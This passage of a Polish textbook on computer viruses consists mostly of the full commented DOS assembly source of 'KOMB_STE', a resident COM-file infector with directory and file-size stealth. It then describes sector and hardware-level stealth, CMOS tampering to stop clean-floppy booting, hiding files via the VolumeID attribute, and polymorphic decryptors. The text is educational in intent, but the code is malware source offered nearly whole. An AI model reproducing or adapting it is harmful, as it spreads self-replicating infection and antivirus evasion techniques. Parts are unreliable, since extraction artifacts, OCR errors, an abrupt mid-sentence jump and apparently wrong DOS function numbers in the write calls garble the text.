DTAStruc struc                             ; struktura DTA bufora transmisji
                                           ; dyskowych uzywana przez
                                           ; funkcje 4E i 4F
               DTAFill db 21 dup (?)       ; nieistotna czesc struktury
               DTAAttr db ?                ; atrybut znalezionej pozycji
               DTATime dw ?                ; czas znalezionej pozycji
               DTADate dw ?                ; data znalezionej pozycji
               DTASize dd ?                ; dlugosc znalezionej pozycji
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji
DTAStruc ends

DIRStruc struc
               DIRDrv      db ?            ; numer napedu
               DIRName     db 8 dup(?)     ; nazwa znalezionej pozycji
               DIRExt      db 3 dup(?)     ; rozszerzenie znalezionej pozycji
               DIRAttr     db ?            ; atrybut znalezionej pozycji
               DIRRes      db 10 dup(?)    ; zarezerwowane
               DIRTime     dw ?            ; czas znalezionej pozycji
               DIRDate     dw ?            ; data znalezionej pozycji
               DIRStartJAP dw ?            ; poczatkowa JAP znalezionej pozycji
               DIRSize     dd ?            ; dlugosc znalezionej pozycji
DIRStruc ends

SFTStruc struc
               SFTCntHnd   dw ?            ; ile uchwytow do pliku
               SFTOpMode   dw ?            ; tryb otwarcia pliku
               SFTAttr     db ?            ; atrybut pliku
               SFTDevAttr  dw ?            ; informacja o urzadzeniu
               SFTDevPtr   dd ?            ; adres do naglowka sterownika
                                           ; lub do DPB
               SFTStartJAP dw ?            ; poczatkowa JAP pliku
               SFTTime     dw ?            ; czas pliku
               SFTDate     dw ?            ; data pliku
               SFTSize     dd ?            ; dlugosc znalezionej pozycji
               SFTPos      dd ?            ; wskaznik odczytu/zapisu
               SFTRes      db 7 dup(?)     ; pola nieistotne
               SFTName     db 11 dup(?)    ; nazwa + rozszerzenie pliku
SFTStruc ends

background image

VRok          = 1998                       ; \  data opisujaca
VMiesiac      = 13                         ;  - pliki juz zainfekowane
VDzien        = 31                         ; /

VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16

Start:                                     ; poczatek wirusa

PoczatekWirusa:                            ; pomocnicza etykieta

    Call  Trik                             ; zapisz na stosie relatywny ofset
Trik:

    pop   si                               ; zdejmij ze stosu relatywny ofset
    sub   si,103h                          ; oblicz ofset do poczatku wirusa

    mov   ax,Haslo                         ; \ sprawdz, czy wirus jest
    int   21h                              ; / juz w pamieci

    cmp   ax,Odpowiedz                     ; \ czy kopia wirusa odpowiedziala ?
    jne   InstalacjaWPamieci               ; / NIE - zainstaluj
                                           ; TAK - wypisz komunikat
    lea   di,TeBylZainstalowany            ;    /
    call  DrukSI                           ;   /
    jmp   PowrocDoNosiciela                ; i powroc do nosiciela

InstalacjaWPamieci:                        ; poczatek instalacji

    lea   di,TeCopyRight                   ; \ wyswietl info o wirusie
    Call  DrukSI                           ; /

    lea   di,TeInstalacja                  ; \  zapytaj uzytkownika, czy chce
    Call  DrukSI                           ;  \ zainstalowac wirusa w pamieci
    Call  Decyzja                          ;  /
    jc    PowrocDoNosiciela                ; /  CF=1 uzytkownik nie chce instalowac

    mov   ax,3521h                         ; funkcja DOS - wez adres INT 21
    int   21h                              ; wywolaj funkcje

    mov   [si][Stare21Seg],es              ; \ zachowaj adres (wirus bedzie go
    mov   [si][Stare21Ofs],bx              ; / uzywal)

    mov   ax,ds                            ; przywroc ES

background image

    mov   es,ax                            ; AX=ES=DS=CS=SS=PSP

    dec   ax                               ; AX=ES-1=MCB aktualnego bloku pamieci
    mov   ds,ax                            ; DS=blok MCB aktualnego bloku pamieci
    mov   bx,word ptr ds:[0003h]           ; wez dlugosc bloku pamieci
    sub   bx,DlugoscWPamieci+1             ; zmniejsz go o dlugosc wirusa

    mov   ah,4Ah                           ; funkcja DOS - zmien rozmiar bloku pamieci
    int   21h                              ; wywolaj funkcje

    mov   bx,DlugoscWPamieci               ; podaj jaki chcesz blok pamieci
    mov   ah,48h                           ; funkcja DOS - przydzial bloku
    int   21h                              ; wywolaj funkcje
    jc    PowrocDoNosiciela                ; CF=1 nie udalo sie przydzielic

    mov   es,ax                            ; ES=wskazuje na przydzielony blok
    xor   di,di                            ; ES:DI - dokad skopiowac
    cld                                    ; zwiekszaj SI, DI w REP MOVSB

    push  si                               ; SI bedzie zmieniany wiec zachowaj
    add   si,offset PoczatekWirusa         ; dodaj skad kopiowac
    mov   cx,DlugoscWirusa                 ; cx=ile bajtow kopiowac
    rep   movs byte ptr es:[di], cs:[si]   ; kopiuj z CS:SI do ES:DI, CX bajtow
    pop   si                               ; przywroc relatywny ofset

    mov   ax,es                            ; pobierz adres do MCB opisujacego
    dec   ax                               ; blok, w ktorym jest wirus
    mov   ds,ax                            ; DS=MCB wirusa
    mov   word ptr ds:[0001h],0008h        ; ustaw MCB wirusa jako systemowy
    sub   ax,0Fh                           ; \  DS=adres bloku-10h
    mov   ds,ax                            ;  \ sztuczka, dzieki ktorej mozna
                                           ;  / odwolywac sie do danych jak w
                                           ; /  zwyklym programie COM (ORG 100h)

    mov   dx,Offset NoweInt21              ; DX=adres do nowej procedury INT 21h
    mov   ax,25FFh                         ; funkcja DOS - ustaw adres INT 21
    int   21h                              ; wywolaj funkcje

    push  cs                               ; \   wyswietl komunikat o
    pop   ds                               ;  \  instalacji w pamieci
    lea   di,TeZainstalowany               ;   \ i segment, w ktorym
    Call  DrukSI                           ;   / rezyduje wirus
    mov  ax,es                             ;  /
    Call DrukHEX16                         ; /

PowrocDoNosiciela:                         ;
    push  cs cs                            ; \ przywroc DS=ES=CS=PSP

background image

    pop   ds es                            ; /

    mov   al,byte ptr [si][StareBajty]     ; \  przywroc 3 poczatkowe bajty
    mov   ds:[100h],al                     ;  \ programu pod adresem CS:100h
    mov   ax,word ptr [si][StareBajty+1]   ;  /
    mov   ds:[101h],ax                     ; /

    mov   ax,100h                          ; \ zachowaj na stosie slad do
    push  ax                               ; / adresu 100h

    xor   ax,ax                            ; \   dla bezpieczenstwa
    xor   bx,bx                            ;  \  lepiej wyzerowac rejestry
    xor   cx,cx                            ;   \ robocze
    xor   dx,dx                            ;   /
    xor   si,si                            ;  /
    xor   di,di                            ; /

    ret                                    ; powroc do nosiciela

PytanieOInstalacje:                        ; \   odpowiedz rezydujacego
    xchg  al,ah                            ;   - wirusa (na pytanie czy jest
    iret                                   ; /   w pamieci)

NoweInt21:
    cmp   ax,4B00h                         ; czy funkcja DOS - uruchom program ?
    je    InfekcjaPliku                    ; TAK - sprobuj infekowac
    cmp   ax,Haslo                         ; czy pytanie wirusa o instalacje ?
    je    PytanieOInstalacje               ; TAK - odpowiedz, ze zainstalowany

    cmp   ah,11h                           ; \  czy funkcje przeszukiwania ?
    je    STEALTH_11_12                    ;  \ katalogu uzywane przez
    cmp   ah,12h                           ;  / polecenie DIR ?
    je    STEALTH_11_12                    ; /  TAK - oszukuj jesli trzeba

    cmp   ah,4Eh                           ; \  czy funkcje przeszukiwania ?
    je    STEALTH_4E_4F                    ;  \ katalogu uzywane przez
    cmp   ah,4Fh                           ;  / nakladki ?
    je    STEALTH_4E_4F                    ; /  TAK - oszukuj jesli trzeba

    cmp   ah,3Dh
    je    STEALTH_3D

    jmp   PowrotZInt21                     ; idz do poprzedniego lancucha
                                           ; przerwan

STEALTH_3D:
    call  UstawNowe24                      ; ustaw obsluge bledow krytycznych

background image

    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    STEALTH_3D_Powrot2               ; CF=1 to blad

    pushf                                  ; \ zachowaj wartosci rejestrow
    push  es ax bx di                      ; / zmienionych przez wywolanie

    mov   bx,ax                            ; BX zawiera uchwyt (numer) pliku
    mov   ax,1220h                         ; wez adres tablicy JFT
    int   2Fh                              ; wywolaj funkcje
    jc    STEALTH_3D_Powrot                ; CF=1 Blad

    mov   bl,es:[di]                       ; wez numer tablicy SFT
    mov   bh,0                             ; BX=BL
    mov   ax,1216h                         ; wez adres tablicy SFT na podstawie numeru w BL
    int   2Fh                              ; wywolaj funkcje
    jc    STEALTH_3D_Powrot                ; CF=1 Blad

    cmp   es:[di][SFTDate],VZnacznik       ; czy znaleziona pozycja jest
                                           ; zainfekowana ?
    jne   STEALTH_3D_Powrot                ; NIE - STEALTH niepotrzebne

    cmp   word ptr es:[di][SFTSize+2],0    ; czy dlugosc pliku >65535 ?
    jne   MozeMiecWirusa_3D                ; TAK - moze byc zainfekowany

    cmp   word ptr es:[di][SFTSize],DlugoscWirusa
    jb    STEALTH_3D_Powrot                ; czy dlugosc pliku >=dlug. wirus
                                           ; TAK - moze byc zainfekowany
                                           ; NIE - STEALTH niepotrzebne
MozeMiecWirusa_3D:
    sub   word ptr es:[di][SFTSize],DlugoscWirusa
                                           ; odejmij dlugosc wirusa
    sbb   word ptr es:[di][SFTSize+2],0
                                           ; uwzglednij ewent. pozyczke
                                           ; z bardziej znaczacej czesci
STEALTH_3D_Powrot:

    pop   di bx ax es                      ; \ przywroc odpowiednie wartosci
    popf                                   ; / rejestrow

STEALTH_3D_Powrot2:

    Call  PrzywrocStare24                  ; przywroc stara obsluge bledow krytycznych

    retf  2                                ; powrot z zachowaniem ustawionych znacznikow

                                           ; ES:DI wskazuje na tablicÓ SFT pliku

background image

STEALTH_11_12:
    call  UstawNowe24                      ; ustaw obsluge bledow krytycznych

    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    or    al,al                            ; CZY AL=0
    jnz   STEALTH_11_12_Powrot2            ; AL<>0 to blad

    pushf                                  ; \ zachowaj wartosci rejestrow
    push  es ax bx                         ; / zmienionych przez wywolanie

    mov   ah,2Fh                           ; funkcja DOS - wez adres do DTA
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

    cmp   es:[bx][DIRDrv],0FFh             ; czy rozszerzony FCB ?
    jne   ZwyklyFCB                        ; NIE - zwykly FCB

    add   bx,7                             ; dodaj przesuniecie
                                           ; teraz ES:BX=wskazuje na zwykly FCB
ZwyklyFCB:

    cmp   es:[bx][DIRDate],VZnacznik       ; czy znaleziona pozycja jest
                                           ; zainfekowana ?
    jne   STEALTH_11_12_Powrot             ; NIE - STEALTH niepotrzebne

    cmp   word ptr es:[bx][DTASize+2],0    ; czy dlugosc pliku >65535 ?
    jne   MozeMiecWirusa_11_12             ; TAK - moze byc zainfekowany

    cmp   word ptr es:[bx][DTASize],DlugoscWirusa
    jb    STEALTH_11_12_Powrot             ; czy dlugosc pliku >= dlugosc wirusa
                                           ; TAK - moze miec wirusa
                                           ; NIE - STEALTH niepotrzebne
MozeMiecWirusa_11_12:
    sub   word ptr es:[bx][DTASize],DlugoscWirusa
                                           ; odejmij dlugosc wirusa
    sbb   word ptr es:[bx][DTASize+2],0
                                           ; uwzglednij ewent. pozyczke
                                           ; z bardziej znaczacej czesci
STEALTH_11_12_Powrot:

    pop   bx ax es                         ; \ przywroc odpowiednie wartosci
    popf                                   ; / rejestrow

STEALTH_11_12_Powrot2:

    Call  PrzywrocStare24                  ; przywroc stara obsluge bledow krytycznych

    retf  2                                ; powrot z zachowaniem ustawionych znacznikow

background image

STEALTH_4E_4F:
    call  UstawNowe24                      ; ustaw obsluge bledow krytycznych

    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    STEALTH_4E_4F_Powrot2            ; CF=1 to blad

    pushf                                  ; \ zachowaj wartosci rejestrow
    push  es ax bx                         ; / zmienionych przez wywolanie

    mov   ah,2Fh                           ; funkcja DOS - wez adres do DTA
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

    cmp   es:[bx][DTADate],VZnacznik       ; czy znaleziona pozycja jest
                                           ; zainfekowana ?
    jne   STEALTH_4E_4F_Powrot             ; NIE - STEALTH niepotrzebne

    cmp   word ptr es:[bx][DTASize+2],0    ; czy dlugosc pliku >65535 ?
    jne   MozeMiecWirusa_4E_4F             ; TAK - moze byc zainfekowany

    cmp   word ptr es:[bx][DTASize],DlugoscWirusa
    jb    STEALTH_4E_4F_Powrot             ; czy dlugosc pliku >=dlug. wirusa
                                           ; TAK - moze byc zainfekowany
                                           ; NIE - STEALTH niepotrzebne
MozeMiecWirusa_4E_4F:
    sub   word ptr es:[bx][DTASize],DlugoscWirusa
                                           ; odejmij dlugosc wirusa
    sbb   word ptr es:[bx][DTASize+2],0
                                           ; uwzglednij ewent. pozyczke
                                           ; z bardziej znaczacej czesci
STEALTH_4E_4F_Powrot:

    pop   bx ax es                         ; \ przywroc odpowiednie wartosci
    popf                                   ; / rejestrow

STEALTH_4E_4F_Powrot2:

    Call  PrzywrocStare24                  ; przywroc stara obsluge bledow krytycznych

    retf  2                                ; powrot z zachowaniem ustawionych znacznikow

InfekcjaPliku:
    push  es ds ax bx cx dx si di          ; zachowaj zmieniane rejestry

    mov   cs:StaryDS, ds                   ; \ zachowaj adres do nazwy pliku
    mov   cs:StaryDX, dx                   ; /

background image

    call  UstawNowe24

    mov   ax,4300h                         ; funkcja DOS - czytaj atrybut
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    PrzywrocAtrybut                  ; CF=1 blad wiec powrot

    mov   cs:Atrybut,cl                    ; wez stary atrybut

    mov   ax,4301h                         ; funkcja DOS - zapisz atrybut
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    PrzywrocAtrybut

    mov   ax,3D02h                         ; funkcja DOS - otworz plik
                                           ; do odczytu i zapisu
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    xchg  ax,bx                            ; przenies uchwyt pliku do BX

    mov   ax,5700h                         ; funkcja DOS - wpisz date, czas
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    mov   cs:Czas,cx                       ; zachowaj czas pliku na pozniej

    cmp   dx,VZnacznik                     ; czy plik jest juz zainfekowany ?
    je    ZamknijPlik                      ; TAK - zamknij plik, powrot

    push  cs                               ; \ DS=CS=segment wirusa
    pop   ds                               ; /

    mov   cx,3                             ; ilosc czytanych bajtow
    lea   dx,StareBajty                    ; podaj dokad czytac 3 bajty
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   ax,word ptr [StareBajty]         ; wez dwa pierwsze bajty pliku
    cmp   ax,'MZ'                          ; i sprawdz, czy to nie EXE
    je    ZamknijPlik                      ; gdy 'MZ' to plik EXE, powrot
    cmp   ax,'ZM'                          ;
    je    ZamknijPlik                      ; gdy 'ZM' to plik EXE, powrot

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem konca pliku
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na koniec pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

background image

    jc    ZamknijPlik                      ; gdy CF=1, to blad

                                           ; DX = starsza czesc dlugosci pliku
    or    dx,dx                            ; czy plik krotszy niz 65536 ?
    jnz   ZamknijPlik                      ; NIE - nie infekuj

    cmp   ax,64000                         ; czy dlugosc <= 64000 ?
    ja    ZamknijPlik                      ; NIE - nie infekuj

    cmp   ax,3                             ; czy dlugosc >= 3 ?
    jb    ZamknijPlik                      ; NIE - nie infekuj

    sub   ax,3                             ; odejmij dlugosc skoku E9 ?? ??
    mov   word ptr [Skok+1],ax             ; zapisz do bufora rozkaz skoku

    lea   di,TeZnalazlemPlik               ; \       zapytaj uzytkownika
    Call  Druk                             ;  \      czy chce zainfekowac
                                           ;   \     plik
    mov   di,cs:StaryDX                    ;    \    nazwa pliku jest
    mov   ds,cs:StaryDS                    ;     \   wyswietlana
    Call  Druk                             ;      \
                                           ;       - (dzieki temu uzytkownik
    push  cs                               ;      /   ma pelna kontrole nad
    pop   ds                               ;     /    tym co wirus infekuje)
    lea   di,TeInfekcja                    ;    /
    Call  Druk                             ;   /
    Call  Decyzja                          ;  /
    jc    ZamknijPlik                      ; /       CF=1 uzytkownik nie pozwala

    mov   cx,DlugoscWirusa                 ; ilosc zapisywanych bajtow
    mov   dx,100h                          ; podaj skad zapisac wirusa
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem poczatku pliku
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na poczatek pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1 to blad

    mov   cx,3                             ; ilosc zapisywanych bajtow
    lea   dx,Skok                          ; podaj skad zapisac rozkaz skoku
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    Call  StareInt21                       ; wywolaj stare przerwanie 21h
    jc    ZamknijPlik                      ; gdy CF=1, to blad

background image

    mov   cx,Czas                          ; przywroc czas
    mov   dx,VZnacznik                     ; zaznacz w dacie infekcje pliku
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

ZamknijPlik:
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

PrzywrocAtrybut:
    mov   cl,cs:Atrybut                    ; podaj stary atrybut
    mov   ch,0                             ; CX=CL
    mov   dx,cs:StaryDX                    ; \ podaj nazwe pliku do zmiany
    mov   ds,cs:StaryDS                    ; / w DS:DX
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    Call  StareInt21                       ; wywolaj stare przerwanie 21h

    Call  PrzywrocStare24

    pop   di si dx cx bx ax ds es          ; przywroc zmieniane rejestry

PowrotZInt21:
    db 0EAh                                ; mnemonik rozkazu skoku JMP FAR
    Stare21Ofs dw ?                        ; z tych pol korzysta skok
    Stare21Seg dw ?                        ; aby oddac sterowanie do poprzedniego
                                           ; elementu lancucha przerwan INT 21

StareInt21:
    pushf                                  ; \ symuluj  wywolanie przerwania
    Call dword ptr cs:[Stare21Ofs]         ; / wyowlaj stare przerwanie

    ret                                    ; powroc z wywolania

UstawNowe24:
    push  ds es ax bx dx                   ; zachowaj zmieniane rejestry

    mov   ax,3524h                         ; \     pobierz stara i ustaw
    Call  StareInt21                       ;  \    nowa procedure obslugi
    mov   cs:Stare24Seg,es                 ;   \   przerwania krytycznego
    mov   cs:Stare24Ofs,bx                 ;    \  INT 24h w celu ochrony
                                           ;     \ przed ewentulanymi bledami
    push  cs                               ;     / (np; podczas proby zapisu
    pop   ds                               ;    /   na zabezpieczona przed
    lea   dx,NoweInt24                     ;   /    zapisem dyskietce nie
    mov   ax,2524h                         ;  /     zostanie wywolany dialog
    Call  StareInt21                       ; /      ARIF)

background image

    pop   dx bx ax es ds                   ; przywroc zmieniane rejestry

    ret                                    ; powroc z wywolania

PrzywrocStare24:
    push  ds ax dx                         ; zachowaj zmieniane rejestry

    lds   dx,dword ptr cs:Stare24Ofs       ; \  przywroc stare przerwanie
    mov   ax,2524h                         ;  - INT 24
    Call  StareInt21                       ; /

    pop   dx ax ds                         ; przywroc zmieniane rejestry

    ret

DrukSI:                                    ; procedura wyswietla tekst z
                                           ; CS:[DI+SI]
    add   di,si                            ; tekst w DI, dodaj SI
Druk:                                      ; procedura wyswietla tekst z
                                           ; CS:[DI]
    push  ax di                            ; zachowaj zmieniane rejestry

DrukPetla:
    mov   al,[di]                          ; pobierz znak
    or    al,al                            ; czy koniec tekstu (znak=NUL) ?
    jz    DrukPowrot                       ; TAK - koncz pisanie

    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak
    int   10h                              ; wywolaj funkcje

    inc   di                               ; zwieksz indeks (na nastepny znak)

    jmp   short DrukPetla                  ; idz po nastepny znak

DrukPowrot:
    pop   di ax                            ; przywroc zmieniane rejestry

    ret                                    ; powrot

DrukHEX16:                                 ; drukuje liczbe heksalna z AX
    push  ax                               ; zachowaj AX (dokladniej AL)
    mov   al,ah                            ; najpierw starsza czesc
    Call  DrukHex8                         ; wyswietl AH
    pop   ax                               ; przywroc AX (dokladniej AL)
                                           ; i wyswietl AL

background image

DrukHex8:                                  ; drukuje liczbe heksalna z AL
    push  ax                               ; zachowaj AX (dokladniej 4 bity AL)
    shr   al,1                             ; \
    shr   al,1                             ;  \ podziel AL przez 16
    shr   al,1                             ;  / czyli wez 4 starsze bity AL
    shr   al,1                             ; /
    Call  DrukHex4                         ; i wydrukuj czesc liczby szesnastkowej
    pop   ax                               ; przywroc AX (dokladniej 4 bity AL)
    and   al,15                            ; wez 4 mlodsze bity AL
                                           ; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
    cmp   al,10                            ; \   konwersja liczby binarnej
    jb    Cyfra09                          ;  \  na znak
    add   al,'A'-'0'-10                    ;   - 00..09, 0Ah..0Fh na
Cyfra09:                                   ;  /  '0'..'9', 'A'..'F'
    add   al,'0'                           ; /

    mov   ah,0Eh                           ; funkcja BIOS - wyswietl znak
    int   10h                              ; wywolaj funkcje

    ret                                    ; powrot

Decyzja:                                   ; \     pobiera z klawiatury
    mov   ah,0h                            ;  \    znak i sprawdza czy jest
    int   16h                              ;   \   to litera 'T'lub 't'
    and   al,0DFh                          ;    \  jesli tak, ustawia CF=0
    cmp   al,'T'                           ;     \ jesli nie, ustawia CF=1
    clc                                    ;     /
    je    DecyzjaTak                       ;    /
    stc                                    ;   /
DecyzjaTak:                                ;  /
    ret                                    ; /

NoweInt24:                                 ;
    mov   al,3                             ; sygnalizuj CF=1, gdy dowolny blad
                                           ; nie wywoluj ARIF
    iret                                   ; powrot z przerwania

  TeCopyRight        db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL
  TeInstalacja       db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?
',NUL
  TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL
  TeZainstalowany    db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL
  TeZnalazlemPlik    db CR,LF,'_ Znalazlem plik : "',NUL
  TeInfekcja         db '"',CR,LF,'  Czy chcesz sprobowac zainfekowac go wirusem 
KOMB_STE (T/N) ?',NUL

background image

     StareBajty db 0CDh,20h,90h
     Skok       db 0E9h
KoniecWirusa:

     Skok2      dw ?
     StaryDS    dw ?
     StaryDX    dw ?
     Atrybut    db ?
     Czas       dw ?
     Stare24Ofs dw ?
     Stare24Seg dw ?

KOMB_STE ends
end start

7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; 
należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby 
odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu 
ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory 
zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). 
Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub 
BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed 
zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).

7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań 
sprzętowych (ang. hardware level stealth
)
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level 
stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta 
polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego 
IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji 
(9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- 
Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o 
aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, 
zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość 
MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 
(rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich 
jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja 
odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z 
portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus 
musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na 
inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego 
sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego 
adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. 
Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 

background image

(co można ustawić programowo) przy realizacji operacji dostępu do dysku.

7.2. ModyfikacjaCMOS-a
Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych 
sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do 
któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i 
czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie 
uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane 
jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś 
klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. 
Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do 
podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować 
pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak 
znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma 
zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność 
ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest 
konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, 
jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę 
wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował 
załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim 
wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie 
sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, 
po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w 
CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera 
parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno 
utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także 
zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi 
dostanie się do programu SETUP.

7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy 
przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują 
zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają 
do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej 
wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak 
ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na 
zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż 
niewidzialność zagwarantuje sam system DOS.

7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami 
zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi 

background image

podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa 
może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na 
początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). 
Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. 
Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana 
przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po 
czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia 
nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na 
rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie 
sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto 
rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się 
rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem 
deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się 
MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z 
najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem 
wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych 
zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w 
przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
